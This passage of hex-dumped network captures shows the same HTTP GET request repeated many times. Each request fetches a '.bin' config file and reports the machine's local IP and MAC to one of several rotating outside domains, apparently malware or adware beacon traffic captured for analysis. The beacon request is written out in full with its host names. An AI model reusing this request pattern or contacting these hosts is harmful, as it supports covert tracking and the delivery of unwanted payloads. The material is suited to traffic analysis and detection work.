0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 69787a2e 636f6d0d 0a436f6e   : inixz.com..Con
0x00000100 (00256)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000110 (00272)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000120 (00288)   6f2d6361 6368650d 0a0d0a0d 0a68650d   o-cache......he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 6962696e 2e636f6d 0d0a436f   : inibin.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0a68650d   no-cache.....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a206269 6e646f77 6e2e636f 6d0d0a43   : bindown.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e7a 7a696e66 6f722e63   : plus.zzinfor.c
0x00000100 (00256)   6e0d0a43 6f6e6e65 6374696f 6e3a2043   n..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e73 6f6f6d65 6e672e63   : plus.soomeng.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e69 63616665 6164732e   : plus.icafeads.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20646f 776e696e 692e636f 6d0d0a43   : downini.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 69787a2e 636f6d0d 0a436f6e   : inixz.com..Con
0x00000100 (00256)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000110 (00272)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000120 (00288)   6f2d6361 6368650d 0a0d0a0d 0a68650d   o-cache......he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 6962696e 2e636f6d 0d0a436f   : inibin.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0a68650d   no-cache.....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a206269 6e646f77 6e2e636f 6d0d0a43   : bindown.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e7a 7a696e66 6f722e63   : plus.zzinfor.c
0x00000100 (00256)   6e0d0a43 6f6e6e65 6374696f 6e3a2043   n..Connection: C
0x00000110 (00272)   6c6f7365 0d0a4361 6368652d 436f6e74   lose..Cache-Cont
0x00000120 (00288)   726f6c3a 206e6f2d 63616368 650d0a0d   rol: no-cache...
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e73 6f6f6d65 6e672e63   : plus.soomeng.c
0x00000100 (00256)   6f6d0d0a 436f6e6e 65637469 6f6e3a20   om..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20706c 75732e69 63616665 6164732e   : plus.icafeads.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20646f 776e696e 692e636f 6d0d0a43   : downini.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 69787a2e 636f6d0d 0a436f6e   : inixz.com..Con
0x00000100 (00256)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000110 (00272)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000120 (00288)   6f2d6361 6368650d 0a0d0a0d 0a68650d   o-cache......he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a20696e 6962696e 2e636f6d 0d0a436f   : inibin.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0a68650d   no-cache.....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
0x000000f0 (00240)   3a206269 6e646f77 6e2e636f 6d0d0a43   : bindown.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a68650d    no-cache....he.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f686174 6f6c642e 302e6269 6e3f7665   /hatold.0.bin?ve
0x00000020 (00032)   723d332e 31383026 6c69703d 3139322e   r=3.180&lip=192.
0x00000030 (00048)   3136382e 312e3226 6d61633d 58585858   168.1.2&mac=XXXX
0x00000040 (00064)   58585858 58585858 20485454 502f312e   XXXXXXXX HTTP/1.
0x00000050 (00080)   310d0a41 63636570 743a202a 2f2a0d0a   1..Accept: */*..
0x00000060 (00096)   41636365 70742d45 6e636f64 696e673a   Accept-Encoding:
0x00000070 (00112)   20646566 6c617465 0d0a4163 63657074    deflate..Accept
0x00000080 (00128)   2d4c616e 67756167 653a207a 682d636e   -Language: zh-cn
0x00000090 (00144)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x000000a0 (00160)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x000000b0 (00176)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000c0 (00192)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000d0 (00208)   20535631 3b202e4e 45542043 4c522032    SV1; .NET CLR 2
0x000000e0 (00224)   2e302e35 30373237 3b290d0a 486f7374   .0.50727;)..Host
